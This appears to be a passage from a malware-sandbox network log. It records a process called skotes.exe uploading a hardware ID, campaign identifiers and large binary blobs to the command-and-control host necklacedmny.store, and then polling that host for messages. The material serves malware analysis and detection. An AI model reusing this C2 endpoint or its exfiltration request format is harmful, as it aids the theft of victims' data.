name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:35:03 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l40k7d05520tq9f521vrbfb1p3; expires=Tue, 25-Feb-2025 05:21:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WXOlL0NHw8t2jcBLEzjnBEhZD4ilOAPeVTvnDRwzK4HZlNj6vCBHG1Uvr4nc%2FPP9wf81S3FtKB2lozr2Xo3gRriBwqbxT%2FkXrR%2FOf51CqeIr5pV5M9HpHvZwxFf4D9I%2B6rXZsFo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb944428726c13-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1141&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16023&delivery_rate=2425460&cwnd=251&unsent_bytes=0&cid=8d8752164721990a&ts=557&x=0"
2024-11-01 11:35:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:35:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	50051	188.114.96.3	443	5576	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:35:04 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-11-01 11:35:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:35:04 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-11-01 11:35:05 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lj3amnog6e327j97tjk9gtjckv; expires=Tue, 25-Feb-2025 05:21:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OTk6yFJQfNSd1dTzJjOJ%2BYIUThybIXhRw9TeaCE8ORoSFa1DlbmjpZEWS%2FheuHdAKINfnsO%2BeUf6yRaJG%2FWuxl8%2B3QjQXh97k7XhQLaXh271vMxrVH677q3S7yzZG5LuZC%2BHoL0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb944e1b92e96a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2275&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21370&delivery_rate=1269062&cwnd=250&unsent_bytes=0&cid=47c67d1a84af78ff&ts=659&x=0"
2024-11-01 11:35:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:35:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	50055	188.114.96.3	443	5576	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:35:07 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1238 Host: necklacedmny.store
2024-11-01 11:35:07 UTC	1238	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:35:07 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=037sptfnq3fr0po5kkc3cl22vp; expires=Tue, 25-Feb-2025 05:21:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tFmeChjwMNg8%2BPIsWlz53kRSCFSJpYcjZNRWCYjrtmhOgE7r9srbHOoaUFSfBAPELRpTO%2FBjgD%2BsYOPUr1gsPVNfQTXyLe6Rl4Iv0SOOBQMEJh5NZjXNWtWd%2FuZJF4R%2BeMEjwl0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb945f5da6e997-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1375&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2157&delivery_rate=2106181&cwnd=250&unsent_bytes=0&cid=298a619db61b93ac&ts=545&x=0"
2024-11-01 11:35:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:35:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	50059	188.114.96.3	443	5576	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:35:09 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567258 Host: necklacedmny.store
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: ae a4 3f d0 41 90 b1 34 a2 2f b4 34 f5 ad cd 06 06 5c 2d d8 fa f4 29 ff 3e 34 1c 1b 04 0e 69 30 a6 ba b9 03 19 03 72 52 11 74 8b d1 fc b2 ea 7d 8c a5 a0 80 02 6c 98 32 7b 23 ad 98 e3 bb 4e 93 cc 62 48 6b da b9 4a ed ee 07 06 73 f3 f2 60 fe 77 4d fd df e5 00 90 5d d0 04 55 10 70 c2 a7 cc 19 82 72 0f 24 1d a5 9e 5c d8 49 36 1e 51 dc 98 eb 1c 89 06 d4 8f 42 b4 56 05 ca ae 82 85 f8 b1 4b a0 90 1f 73 1c 09 f7 fd 74 ee 7f 0c d1 bd b1 46 e7 bb c0 f7 26 17 49 0f 80 e5 23 76 35 51 dd f9 b9 13 53 c3 99 92 fd 4e a8 1c a9 85 49 97 a4 d2 c7 cb 3a b3 5f 6d eb c6 93 b6 12 14 2d 0b be 60 ce 68 67 35 fb a9 80 9e 47 d4 e0 b7 2a f5 ca e2 11 6c 0b e7 dd e5 51 ab 96 9d c2 7e 24 e9 64 58 cb 52 89 b2 cb 48 e6 69 24 0e 25 f5 1e 74 45 1a 99 86 f9 c9 67 75 a0 f2 6e 11 2d b8 41 65 Data Ascii: ?A4/4\-)>4i0rRt}l2{#NbHkJs`wM]Upr$\I6QBVKstF&I#v5QSNI:_m-`hg5G*lQ~$dXRHi$%tEgun-Ae
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: d4 82 72 0b fb a2 5e 05 5c 20 07 b8 63 40 c1 66 d8 b6 0e 2f 20 ae a7 6b b2 20 ef dd 9b cc a5 18 cd 46 3f 21 d0 e7 bb 18 04 60 9a 04 d9 be cc c1 5e 1a 6c 5b ff 4f 6b e8 f1 82 57 5c 5e 66 04 e6 f5 57 4b e4 81 ac 09 18 c8 c3 3d ff 7f 5e ca ec 25 ea f9 65 6c d6 ef 8c 75 dc e6 7b 1d 0a 46 22 b8 cb cb d2 c1 de ee bb c3 48 84 2e a3 ed 9b e7 58 36 3b 92 4f 3d ca 93 17 b0 8f 4a d2 54 d6 0f fd e7 9b 56 52 d9 ea f5 2f ae 10 41 b6 9b b0 fa f8 ac e9 b2 37 db 7a 8a 00 68 0f a3 0b a1 34 57 5f 2e 96 6b 35 f7 4a c3 1e 5a e5 98 cc a9 39 d6 5d bc e0 4c 9c 44 26 b1 96 d2 18 75 58 88 18 6f 64 b5 25 1c 8f 94 fc d3 24 2f 5b ed c2 af 2f d3 f2 36 dc 4c 01 15 bc 33 68 43 d6 83 7a 85 5d f8 c8 0d 61 42 cb 56 2b c6 53 04 3e 23 1d 3e f5 03 a6 51 33 5d 4e db a9 c2 94 4c 51 7e 13 1b c5 Data Ascii: r^\ c@f/ k F?!`^l[OkW\^fWK=^%elu{F"H.X6;O=JTVR/A7zh4W_.k5JZ9]LD&uXod%$/[/6L3hCz]aBV+S>#>Q3]NLQ~
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: 4b 87 9a d2 54 05 cf 78 9a 13 a2 5c c9 fa 8d a1 ce 5e 1c ef 90 74 13 33 24 99 be 51 74 86 e2 23 df 1b 10 d1 29 9c 7d 68 40 0a 8c c5 1a 05 a6 25 c4 bf 21 4e f5 8e 16 f5 ea c8 86 07 da 9e ac f6 a3 0e 12 dd 10 57 fc 13 1f 6c 6e ef 7e d6 36 e7 84 b6 b5 bf 1f 20 08 35 2d 09 97 23 54 c1 58 d1 45 c1 30 57 3a 90 6d de 59 89 0e 1e d5 30 27 66 56 95 6c 24 b6 5b 0e 2b f4 51 75 d5 12 5c cf fd 3c d1 e7 1e 6d c8 61 77 85 ef 19 5a 78 e8 d5 e6 28 7e dd fb cd dc 91 0d d7 c1 df 7f 0d 68 6a 0a d6 9e 4f 07 02 5a aa ca f8 08 5e 1d 4b 76 61 90 63 2c 7a 9a c3 d7 96 fd 69 f8 3e f6 47 4d f3 ab ba a5 ae 9f 5b a6 bc c7 9f f7 24 6a 4b 4c 3b e6 fc d4 f5 f5 7f 26 f0 1a af 5d 62 41 4d 5d 29 fa b5 01 65 f4 94 be 40 59 f5 3d 46 54 22 0d 10 d9 65 6a aa e7 9b 9d be 2d 1f db 87 6a 5e 59 bd Data Ascii: KTx\^t3$Qt#)}h@%!NWln~6 5-#TXE0W:mY0'fVl$[+Qu\<mawZx(~hjOZ^Kvac,zi>GM[$jKL;&]bAM])e@Y=FT"ej-j^Y
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: 09 6c c7 81 77 a4 82 8b c7 da 32 d7 ff 4f b2 31 1f dc d7 6c f9 4d 6c 25 6f e1 f6 a8 74 30 c3 29 96 57 be 1c e0 a8 98 45 c3 ee 10 dd b1 cf d3 0e ad 23 b6 fa 5b 03 8f 73 df 52 cb 48 7b 16 e3 7d 9c 96 fa f0 7b cd 66 ee 4e 46 66 5f 1b 9d 3b ca 4f 9a 9e 29 52 2f 68 de e0 d1 89 c6 a9 2b 55 fb 72 14 42 89 49 a1 d2 3c e3 01 83 51 b2 10 9e fd b0 9f 6a 30 da 42 12 99 8c 52 0e dd d9 25 d6 7b 68 ad 45 3a c4 4a 18 14 17 21 3f b1 b5 25 f7 37 7a 8d 33 5c bf 9e 22 bb 2f ef 6e 57 82 89 b5 e2 f3 ef 89 b5 c6 25 3c ae 8a 38 04 51 0e ea 45 e6 2e 03 c4 22 51 8b 25 02 7e f2 36 ff 14 6a 0c f1 b9 4c 5c 93 e2 62 2a 4d 85 71 03 c1 de 88 bb 8e 4a 75 78 84 29 b0 52 a2 69 8d e4 14 b1 6c 27 9d 9c cb f1 48 d3 22 4e 31 61 d7 11 73 2b b9 f0 58 ac 57 bc d5 21 34 0b a6 88 8a 8e 37 d6 d2 52 Data Ascii: lw2O1lMl%ot0)WE#[sRH{}{fNFf_;O)R/h+UrBI<Qj0BR%{hE:J!?%7z3\"/nW%<8QE."Q%~6jL\b*MqJux)Ril'H"N1as+XW!47R
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: ff dd ae 94 37 63 81 b6 88 32 0b 15 d1 da 46 17 93 fd 35 8a bd 20 65 9a 5b 2e 2e f5 b6 c7 fe b8 6e 99 c6 e0 da 70 1d 53 85 07 63 39 48 b3 21 3f 24 34 ef d7 ab 7a a4 b1 ab 70 5d 56 76 bc 8d a0 a5 88 cc 3c f8 84 3c 56 69 91 8e 45 d4 eb 64 f6 82 8a 49 11 5e 7a e6 3a 9e 90 60 d6 42 08 f7 06 cc 3b e9 80 34 53 35 76 37 67 45 93 67 09 83 e6 df fe d0 cc 15 b4 21 9c 09 63 ab ce 9b 02 66 26 0c bc f6 d0 44 80 99 74 15 b7 76 8c 2e 01 4e bc 48 24 4c 65 69 30 d5 e7 10 d2 2f 45 1c 50 f0 8a 0d cd 07 54 bd b6 8b e7 a2 ee 3a ac 07 92 52 28 29 2a 24 2c 21 ed 00 97 0e ef 90 58 8a db 15 12 42 f9 71 f6 a3 ff e2 35 b7 fb 21 db 9a 8d d2 16 b6 2a f3 ab 97 2f 3f 15 46 8d 3c 5f f7 a3 f9 0e 18 e6 68 a8 7b c8 4e 38 ec 07 98 fb 15 b5 4f 98 25 32 a4 17 2f 0a cd 7c 12 ed 52 68 55 60 8e Data Ascii: 7c2F5 e[..npSc9H!?$4zp]Vv<<ViEdI^z:`B;4S5v7gEg!cf&Dtv.NH$Lei0/EPT:R()$,!XBq5!/?F<_h{N8O%2/\|RhU`
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: 70 cd e8 a3 0d f7 d8 58 10 ed cf d5 d1 be 47 f9 af 49 d8 38 e5 53 9c 48 e9 2a ca 97 bb 7b 99 9f 4e 1e 92 39 ab 72 c1 8b 42 dc 1f e2 15 a7 f2 5b b0 7a dc 88 df f5 fd d5 f7 47 87 1f 28 1e 99 31 88 09 fa f6 32 54 ff ed 5e 1d 71 ef ce 8e af 77 76 62 a3 07 ba 6f 4f bc 80 74 b6 68 75 71 96 bf 2a 11 42 c2 34 fe 5e 7a 25 fd e1 45 76 ff 57 93 1d 6b 75 07 ad 35 05 9f 98 43 a7 86 27 9b 45 9e 8c 76 fe 94 93 e0 13 d6 96 53 70 9b 3f 74 ef ea ee 9c d1 7b 5f 7f ac fd 7d e9 03 a7 bb f2 07 7b 48 db f2 f8 4b 2a 88 71 7b 2e a0 e6 c4 47 48 6c 7a 6b 7a ef 4b 09 14 8a d9 b0 70 60 a9 e8 98 6d 7c cd 68 2f 5d 92 7e 24 c8 8e 58 70 34 79 3e 7f 7d fb 07 e7 f6 7a c6 f1 ab 7e 91 ea ad f5 99 e3 a5 cf 28 fe 20 62 e9 9e db cb d5 db 1e 97 75 76 af 96 b5 ed bf 64 f7 f6 1f 7a ee 95 f9 e6 0a Data Ascii: pXGI8SH{N9rB[zG(12T^qwvboOthuqB4^z%EvWku5C'EvSp?t{_}{HK*q{.GHlzkzKp`m\|h/]~$Xp4y>}z~( buvdz
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: 40 b0 1e 6f c9 92 d7 dd 07 08 8b ae 77 6c 89 ec 9b 8d 1d 09 f7 7d d9 9a cb f3 03 7b 33 67 f6 f8 75 6a 8d 27 fb 91 76 78 08 30 01 88 ad 98 7f 8d d6 b1 a1 46 1e c1 7e 3e f8 81 f9 94 9b bc 83 37 98 0d ef b9 d2 bf bf 29 a2 0a 58 e6 58 1c d6 e7 59 58 9a e7 b6 9f ad dd 59 c4 0f 9d a7 f9 4e cd ec 8d 1a bb f8 c8 69 fc f1 c8 45 ff 6f eb 1e 2b b9 c6 3d eb da bc 7e e3 da 2f cf 9c 3d 40 48 78 98 22 7e 63 72 e4 ec 03 9a 6e f5 62 1b 82 73 cc 03 e4 3c d8 de 18 f7 a2 e7 8e 87 0f 4b 83 b2 58 77 91 b9 b7 dc 82 70 a1 02 1a b9 3d 6f b0 f9 a0 f3 e0 b5 91 83 b3 ef 21 8f 96 51 dd 02 ad 19 4d 7a ab 25 20 b2 d5 40 65 1d 22 6e 3c d7 44 10 a8 62 1f 8e 6e dc ed 31 ce ba 1b 5b 67 6d c8 e9 fd 87 1f 15 b4 63 c7 51 be 85 27 cc da 9a 91 75 13 e3 02 6a fa c2 e4 3f db df 32 49 5e 11 3e 06 Data Ascii: @owl}{3guj'vx0F~>7)XXYXYNiEo+=~/=@Hx"~crnbs<KXwp=o!QMz% @e"n<Dbn1[gmcQ'uj?2I^>
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: 11 a8 e6 da 2c a3 f9 72 ea 12 49 a7 dc ef af 72 f9 f5 2f fe 57 15 28 49 6c 4a bc 22 82 f3 e5 57 01 48 bb 40 0c e0 8c 86 05 94 1a 34 0f 9f 0d 1f 16 82 88 d9 51 70 38 81 91 2b 16 e3 c9 9f 61 4d 60 a4 0a b9 9a 1a 97 08 01 e1 35 3f 8d bc a3 34 f5 9e f1 08 52 27 3b 36 44 a0 5c 0b 35 93 c1 49 17 8d 3f ff 44 0e 0e 53 06 89 5e d9 db e6 38 5c 7c 7d 28 2a 83 cc 8d b0 d4 da 12 8d a6 62 a1 f5 4d c0 d1 9d bf a2 55 b7 dc 76 d4 80 2a d7 f7 84 af c7 65 a0 d7 c5 67 ab 52 c8 cd 51 ec 9c 74 dc d7 0b 85 69 fb be 12 3a eb ff 7f c7 7b b4 dc 83 b9 12 d3 fb cf 19 6c 1e 86 c0 a9 ec e3 54 72 de 19 62 59 d5 c2 87 c2 69 04 a7 b1 29 3e 73 fc d6 73 8d ef c2 a2 bd 62 75 f7 95 1b ed 5c 5f aa 57 23 b1 1a df c5 ce 35 b5 14 0d 5f 6f ae d4 47 22 f9 eb a8 ee ee 67 18 83 18 42 71 f6 eb fc bd Data Ascii: ,rIr/W(IlJ"WH@4Qp8+aM`5?4R';6D\5I?DS^8\\|}(bMUvegRQti:{lTrbYi)>ssbu\_W#5_oG"gBq
2024-11-01 11:35:09 UTC	15331	OUT	Data Raw: cf 37 0c e0 0a 04 68 38 ef a6 e8 ad ee 04 e4 36 b8 fe d8 83 fb 84 10 21 8f 5f 90 ec ef ef fa b0 81 60 72 a1 c9 c3 bb e0 a7 7e a4 ff 06 c4 28 a9 95 f6 26 63 27 00 9c ce df b2 83 02 c8 87 62 24 39 10 7b 8f c0 1d 4b 1f be d9 0f 2b a9 b7 89 c4 27 c2 7d 70 b8 ff a6 a7 58 02 82 3c bf eb 40 d4 4b 54 0c 48 2e 71 b9 0b 7d df cc d1 46 36 3d 6e e3 aa 21 c3 dd c5 28 09 c0 d6 89 7a fa 0e b0 b8 14 3f e9 77 7e 18 ef ba cd 94 d0 6a e6 2f 95 65 d6 40 f4 b3 a3 e1 13 b7 d0 15 01 c1 d4 45 8a 59 ab 33 2a a5 7e 28 e2 c7 94 85 cc a5 97 c7 5c 03 98 fd aa 44 27 58 af 71 ce 42 b5 65 09 aa 5a 7a 21 eb f0 bc 26 26 68 40 aa cd 2b 80 6f b7 d1 3b 8d 0f 5b a0 cc 43 21 b2 50 39 b3 c0 aa 58 7d 87 10 36 97 de d1 1c 79 86 93 2d 4c eb d9 a3 e7 0d 18 9d 7f 52 0d 99 b5 dc af 95 7e c3 63 83 68 Data Ascii: 7h86!_`r~(&c'b$9{K+'}pX<@KTH.q}F6=n!(z?w~j/e@EY3*~(\D'XqBeZz!&&h@+o;[C!P9X}6y-LR~ch
2024-11-01 11:35:11 UTC	1025	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jtacjd0c3l0ircb6vinefantp6; expires=Tue, 25-Feb-2025 05:21:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GsqCS%2FIMIFNLqXz68lbnDkSJU4qohwyu%2Fm5fe1qH9MHMdO52B7gPJFq9Op27HK0CYBwEn6ics6c73zocBwKfLGvtx6LdKcVa9HenFbODoRTGF7aUo%2B60GZ81K9Ji%2Bsvx%2FtmFtk4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb946bce996bbc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1059&sent=257&recv=646&lost=0&retrans=0&sent_bytes=2846&recv_bytes=569807&delivery_rate=2647166&cwnd=241&unsent_bytes=0&cid=12397128244214a6&ts=1931&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	50063	188.114.96.3	443	5576	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:35:12 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 11:35:12 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=BE46C0CE234CABFC423F84FF1E9B0ACE
2024-11-01 11:35:12 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d4pnve1auvko8i2rgspvqhhauv; expires=Tue, 25-Feb-2025 05:21:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4r39gsUjDoBi%2FHEiv%2BIUgawwY84dWeTTCfqRxXrdybgFRuimYVIeP%2B8BsAkesmvZropeprH7C727jfOaq1suAKvil9ff61EITblp3Cru0KMLSyJB8DnmyLf4Nk7dFYMEI8zEuPM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb947d7da4476e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1244&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2257209&cwnd=246&unsent_bytes=0&cid=aa4f2d391c135e98&ts=674&x=0"
